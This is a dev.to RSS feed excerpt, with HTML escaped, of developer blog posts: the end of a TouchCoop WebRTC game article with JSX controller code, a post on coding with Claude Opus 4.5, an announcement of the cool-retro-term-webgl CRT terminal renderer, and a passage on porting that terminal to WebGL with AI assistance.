      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"btn"&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;up&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;↑&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"btn"&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;left&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;←&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"btn"&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;right&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;→&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"btn col-start-2"&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;down&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;↓&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;

      &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"col-span-3 flex justify-around mt-8"&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"btn bg-green-600"&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;A&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;A&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"btn bg-blue-600"&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;B&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;B&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"btn bg-red-600"&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;X&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;X&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
        &lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt; &lt;span class="na"&gt;className&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"btn bg-yellow-600"&lt;/span&gt; &lt;span class="na"&gt;onClick&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;player&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sendMove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Y&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;Y&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;button&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nt"&gt;div&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Live demo &amp;amp; try it yourself
&lt;/h3&gt;

&lt;p&gt;The original project has a nice little demo:&lt;/p&gt;

&lt;p&gt;→ &lt;a href="https://SlaneyEE.github.io/touch-coop/demos/match.html" rel="noopener noreferrer"&gt;https://SlaneyEE.github.io/touch-coop/demos/match.html&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Final thoughts
&lt;/h3&gt;

&lt;p&gt;TouchCoop is a beautiful example of how far browser APIs have come: WebRTC + TypeScript + modern build tools = couch co-op without native apps or complex backends.&lt;/p&gt;

&lt;p&gt;If you're building casual multiplayer experiences or party games give it a try.&lt;/p&gt;

&lt;p&gt;Have you built (or are you planning to build) a couch co-op game? Drop a comment below — I'd love to hear your multiplayer war stories or see links to your projects!&lt;/p&gt;

&lt;p&gt;Happy coding, and see you in the comments ✌️&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>gamedev</category>
      <category>webrtc</category>
      <category>opensource</category>
    </item>
    <item>
      <title>Claude Opus 4.5 changes everything</title>
      <dc:creator>Remo H. Jansen</dc:creator>
      <pubDate>Thu, 08 Jan 2026 23:21:22 +0000</pubDate>
      <link>https://dev.to/remojansen/claude-opus-45-changes-everything-4h12</link>
      <guid>https://dev.to/remojansen/claude-opus-45-changes-everything-4h12</guid>
      <description>&lt;h1&gt;
  
  
  Experimenting with AI-Generated Code in 2025
&lt;/h1&gt;

&lt;p&gt;Before I begin, I would like to clarify my position. I'm one of those people who believe that AGI will happen. I don't know when, but I believe that while the human mind and consciousness are extraordinarily complex, they are ultimately governed by the physical laws of the universe and can therefore be simulated. Someday AGI will be a reality. How far are we? I have no idea, and I don't care.&lt;/p&gt;

&lt;p&gt;What I do care about is how the current growing capabilities of LLMs will impact what has been the source of income for my family for the last 15 years. So I have been keeping an eye on emerging tools, workflows, and new approaches to software engineering. For over two years, I have been using GitHub Copilot extensively with multiple models, coding agents, and custom agents, and for the most part it has been hit and miss.&lt;/p&gt;

&lt;p&gt;I usually ask GitHub Copilot to implement a feature or fix a bug using the chat or coding agent, and a lot of times it would go very wrong. I have developed the habit of staging changes before each prompt, code reviewing changes for each prompt as I go along, and rolling back via git when I'm not happy with the solution. Working like this for a while means that I have been able to develop a sense of what kinds of things will work and how to break problems into steps that make it more likely that the AI agent will do what I expect.&lt;/p&gt;

&lt;p&gt;I know some developers feel like AI agents are taking the joy of coding away from them, but I do not feel that way because it has allowed me to spend more time developing features. I feel like finding the root cause of bugs (even when I end up fixing them manually) is one of the things that LLMs can be very good at. As a result, I find myself spending way less time debugging.&lt;/p&gt;

&lt;p&gt;Another thing, in my opinion, that is better is that I have to deal less with "repetitive tasks". After 15 years in the sector, I find that these days I enjoy spending more time trying to understand the business problem and designing a solution than actually implementing it. Once I have designed the API contracts, boundary contexts, database schema, etc., the implementation becomes very much grunt work—something that I feel I have done so many times that it is no longer enjoyable. So in 2025, I spent much more time doing code reviews and technical specs (for the LLMs) and less on implementation.&lt;/p&gt;

&lt;p&gt;Do I feel like I have become more productive in 2025? Not really—maybe a little bit, but not a lot. I would say overall, a task took more or less the same time, but I spent more time thinking about the problem and doing verification than doing implementation.&lt;/p&gt;

&lt;h1&gt;
  
  
  Experiencing Claude Opus 4.5 for the First Time
&lt;/h1&gt;

&lt;p&gt;It was at this point that the Christmas holidays arrived, and I happened to have unlimited Claude Opus 4.5 tokens for a couple of weeks. So I decided to work on some old side projects that I never had time to finish.&lt;/p&gt;

&lt;p&gt;One of the projects was quite obsolete; I had not worked on it for a very long time. It originally used Create React App, but I knew that it had since been deprecated, so the first thing I did was to ask Claude to plan a migration from Create React App to Vite. I was quite impressed by the quality of the plan, so I asked it to go ahead, and 3 minutes later, I had everything working as expected.&lt;/p&gt;

&lt;p&gt;I also had plans to make the web app work as a mobile app via Capacitor and as a desktop app via Electron. The problem is that on each platform I would have to use different native APIs—for example, to store user progress (the app is a game). On the web I use local storage, in Node.js the fs module, and in mobile apps SQLite. I needed Opus to implement an interface and implementations for each platform, then implement the builds for web, Windows, Mac, Linux, Android, and iOS. In about 10-15 minutes I had a working version. I tested it and encountered some small issues. I wanted the app to be full screen, and in Electron it was not using the entire screen, but after one or two prompts everything was done.&lt;/p&gt;

&lt;p&gt;I was already quite impressed because when I reviewed the changes I didn't spot anything too bad. These were complex tasks, and Claude Opus 4.5 was getting them done one prompt at a time. The most impressive part is that I didn't have to explain how I wanted it done. I explained why I needed something and let the planning agent do all the planning for me. Now I only had to spend time doing code reviews, and because the code was fairly good, I was moving very fast.&lt;/p&gt;

&lt;p&gt;I started to ask for features, and I was able to get over 10 features in one morning. I also tried Claude on a project really outside of my comfort zone. I wanted to migrate an OpenGL app to WebGL from Qt to TypeScript. I was able to implement the migration just the way I wanted in half a morning. Suddenly, when you are running 6 AI agents in parallel, it is like freaking horizontally scaling yourself. While the agents implement a set of features, you review the previous set and spend some time thinking about the next set. You feel like you are truly being much more productive.&lt;/p&gt;

&lt;p&gt;The holidays passed, and on the 31st of December at midnight my unlimited tokens came to an end. It is now January, and when I tried to code without it, I felt like the other models seemed dumb in comparison. The joy of developing a product for me is not in coding the product—don't get me wrong, I love coding—but the true joy comes from seeing people enjoying it. With Claude Opus 4.5, I can deliver more products and more features than ever before. I can focus on listening to my users and not have to suffer all the repetitive and tedious stuff. Will the code be as good as NASA's or as beautiful as poetry? No, but it will certainly be good enough to delight users, and for me, that is enough.&lt;/p&gt;

&lt;p&gt;I'm now looking at the higher-tier Claude subscription and thinking to myself that, considering what I have experienced, it is actually reasonable. I think Claude Opus 4.5 changes everything, and it makes me both very excited and very anxious. Excited because now developers will be able to build things that were not possible before because they required too much effort. This is going to be particularly noticeable in open source. We will soon see really powerful open source solutions (that are not just libraries) that can compete with big SaaS players. Anxious because it is hard to see how this is not going to impact job security in the long run.&lt;/p&gt;

&lt;p&gt;Note: What I’m describing above is not vibe coding. I still review every change, work in feature branches, run CI/CD pipelines, and understand the code that ships. This is agent-driven software engineering, not blind prompt-and-pray development.&lt;/p&gt;

&lt;p&gt;Have you tried Opus? What is the most impressive use case you have experienced?&lt;/p&gt;

&lt;p&gt;In my next post I will talk about how I plan to combat my anxious thoughts about my career as a software engineer and focus my energy on the exciting ones.&lt;/p&gt;

</description>
      <category>programming</category>
      <category>ai</category>
      <category>productivity</category>
    </item>
    <item>
      <title>I have open-sourced a WebGL front-end for your terminal that emulates a CRT monitor</title>
      <dc:creator>Remo H. Jansen</dc:creator>
      <pubDate>Sat, 03 Jan 2026 00:11:53 +0000</pubDate>
      <link>https://dev.to/remojansen/i-have-open-sourced-a-webgl-front-end-for-your-terminal-that-emulates-a-crt-monitor-2icd</link>
      <guid>https://dev.to/remojansen/i-have-open-sourced-a-webgl-front-end-for-your-terminal-that-emulates-a-crt-monitor-2icd</guid>
      <description>&lt;p&gt;I'm thrilled to announce that I've open sourced &lt;strong&gt;cool-retro-term-webgl&lt;/strong&gt;, a modern WebGL-based recreation of the beloved &lt;em&gt;cool-retro-term&lt;/em&gt; terminal emulator!&lt;/p&gt;

&lt;p&gt;For years, developers and retro computing enthusiasts have loved &lt;a href="https://github.com/Swordfish90/cool-retro-term" rel="noopener noreferrer"&gt;cool-retro-term&lt;/a&gt; by Filippo Scognamiglio (Swordfish90) — a Qt-based terminal that perfectly mimics the look and feel of old cathode ray tube (CRT) monitors, complete with scanlines, glow, and that nostalgic flicker.&lt;/p&gt;

&lt;p&gt;I wanted to bring those authentic retro effects to the web and modern applications. The original is built in QML and C++, so I set out to port the shader magic to &lt;strong&gt;WebGL&lt;/strong&gt;, making it usable in browsers, web apps, and even native desktop apps via Electron.&lt;/p&gt;

&lt;p&gt;The result? A lightweight, high-performance CRT renderer that integrates seamlessly with &lt;strong&gt;XTerm.js&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Key Features
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Authentic retro CRT effects powered by WebGL:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Screen curvature and distortion&lt;/li&gt;
&lt;li&gt;Phosphor glow and bloom&lt;/li&gt;
&lt;li&gt;Scanlines and rasterization&lt;/li&gt;
&lt;li&gt;RGB chromatic aberration&lt;/li&gt;
&lt;li&gt;Flicker, static noise, and burn-in persistence&lt;/li&gt;
&lt;li&gt;Horizontal sync jitter&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;Two packages in a monorepo:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;cool-retro-term-renderer&lt;/code&gt;&lt;/strong&gt;: The core library for adding CRT effects to any XTerm.js instance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;cool-retro-term-electron&lt;/code&gt;&lt;/strong&gt;: A full-featured desktop terminal app built with Electron, supporting real shell processes via node-pty.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Here's a glimpse of the retro magic in action:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flidyuh2pkr5fth2ojnpe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flidyuh2pkr5fth2ojnpe.png" alt="Preview" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Live demo &lt;a href="https://remojansen.github.io/" rel="noopener noreferrer"&gt;https://remojansen.github.io/&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Try the Desktop App
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://github.com/remojansen/cool-retro-term-webgl/releases" rel="noopener noreferrer"&gt;Download the Mac binary&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The project is licensed under GPL-3.0, just like the original.&lt;/p&gt;

&lt;p&gt;Check out the repo: &lt;a href="https://github.com/remojansen/cool-retro-term-webgl" rel="noopener noreferrer"&gt;https://github.com/remojansen/cool-retro-term-webgl&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thanks to Swordfish90 for the original inspiration.&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>webgl</category>
      <category>opensource</category>
      <category>threejs</category>
    </item>
    <item>
      <title>Building a Retro CRT Terminal Website with WebGL and GitHub Copilot (Claude Opus 4.5)</title>
      <dc:creator>Remo H. Jansen</dc:creator>
      <pubDate>Sun, 28 Dec 2025 02:10:00 +0000</pubDate>
      <link>https://dev.to/remojansen/building-a-retro-crt-terminal-website-with-webgl-and-github-copilot-claude-opus-35-3jfd</link>
      <guid>https://dev.to/remojansen/building-a-retro-crt-terminal-website-with-webgl-and-github-copilot-claude-opus-35-3jfd</guid>
      <description>&lt;p&gt;During the holidays, I was browsing the internet when I came across &lt;a href="https://github.com/Swordfish90/cool-retro-term" rel="noopener noreferrer"&gt;cool-retro-term&lt;/a&gt;, an open-source terminal that mimics the visuals of old cathode ray tube (CRT) displays.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8lv0qdo9ixipe6szin5n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8lv0qdo9ixipe6szin5n.png" alt="Terminal preview" width="800" height="663"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I loved the look of it—it has an awesome retro sci-fi atmosphere that reminds me of the Alien and Fallout fictional universes. I thought it would be amazing if I could make my personal website look like that. I took a look at the source code and quickly realized that it's implemented using QML and C++. I'm not experienced with either, so I wondered if it would be possible to port it to web technologies using either WebGL or Emscripten. I asked GitHub Copilot, and it advised me to try the WebGL route because there were fewer technical challenges involved.&lt;/p&gt;

&lt;h2&gt;
  
  
  Understanding the Architecture
&lt;/h2&gt;

&lt;p&gt;I have no experience with QML, but I have worked with Three.js in the past. I don't have a deep understanding of how shaders work internally, but with the help of GitHub Copilot, I was able to understand the architecture of the original source code. I cloned the repo, added a new web directory, and started providing instructions to Claude. The original application has two sets of shaders: the first one handles the static frame, and the second one is a series of effects that are influenced by the current time.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1: The Static Frame
&lt;/h2&gt;

&lt;p&gt;I started by asking Claude to implement the static frame using Three.js while ignoring the terminal emulation for now. This gave me a foundation to build upon without getting overwhelmed by complexity.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2: Text Rendering
&lt;/h2&gt;

&lt;p&gt;The second step was to ask Claude to render some basic text from a hardcoded text file in the Three.js scene using the appropriate retro font.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Migrating the Visual Effects
&lt;/h2&gt;

&lt;p&gt;Then I started to migrate the visual effects—starting with the background noise and then moving on to the other effects:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Bloom&lt;/strong&gt; – A glow effect that makes bright areas bleed into surrounding pixels&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Brightness&lt;/strong&gt; – Controls the overall luminosity of the display&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chroma Color&lt;/strong&gt; – Adds color tinting to simulate phosphor characteristics&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RGB Shift&lt;/strong&gt; – Separates color channels slightly to mimic CRT color misalignment&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Screen Curvature&lt;/strong&gt; – Warps the image to simulate the curved glass of old monitors&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Burn-In&lt;/strong&gt; – Simulates phosphor burn-in from static images left on screen too long&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flickering&lt;/strong&gt; – Adds subtle brightness fluctuations like real CRT displays&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Glowing Line&lt;/strong&gt; – Renders a scanning beam effect moving across the screen&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Horizontal Sync&lt;/strong&gt; – Simulates horizontal sync issues causing image distortion&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Jitter&lt;/strong&gt; – Adds small random movements to simulate signal instability&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rasterization&lt;/strong&gt; – Renders visible scan lines characteristic of CRT displays&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Static Noise&lt;/strong&gt; – Adds animated noise/grain to the image&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At this point, there were some visual bugs that required a bit of trial and error until the LLM was able to fix them without introducing new issues. The main one was a problem related to the position of the screen reflections.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Integrating Xterm.js
&lt;/h2&gt;

&lt;p&gt;Once I was able to get the terminal frame and the effects ported from OpenGL to WebGL, I asked the LLM to replace the hardcoded text with the output of &lt;a href="https://xtermjs.org/" rel="noopener noreferrer"&gt;Xterm.js&lt;/a&gt;. Xterm.js is an open-source project designed to be a web-based front-end for terminals. It's used in tools like Visual Studio Code because VS Code is a web application that runs inside Electron—Xterm.js is the front-end within VS Code that accesses a real terminal instance on your machine.&lt;/p&gt;

&lt;p&gt;In my case, I don't need a real terminal, so I asked Claude to create a terminal emulator with a bunch of basic commands such as &lt;code&gt;clear&lt;/code&gt;, &lt;code&gt;ls&lt;/code&gt;, &lt;code&gt;cd&lt;/code&gt;, and &lt;code&gt;cat&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Falndqf12m1dp7cy4kvzf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Falndqf12m1dp7cy4kvzf.png" alt="Terminal LS" width="800" height="603"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5: Building Games
&lt;/h2&gt;

&lt;p&gt;At this point, everything was almost complete, so I asked Claude to implement multiple text-based games. I implemented games like Pong, Tetris, Snake, Minesweeper, Space Invaders, and Arkanoid—and most of them worked almost perfectly on the first attempt. Some of the games experienced minor visual issues, but I was able to solve everything by describing the issue in detail to Claude and what I thought was the root cause.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffzn5cvio687tammhtg85.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffzn5cvio687tammhtg85.png" alt="Terminal Game" width="800" height="606"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4r9cgb4j4uicteahnlv2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4r9cgb4j4uicteahnlv2.png" alt="Terminal Game" width="800" height="609"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbhlcmeakqokwq1q7wpuz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbhlcmeakqokwq1q7wpuz.png" alt="Terminal Game" width="800" height="606"&gt;&lt;/a&gt;&lt;/p&gt;

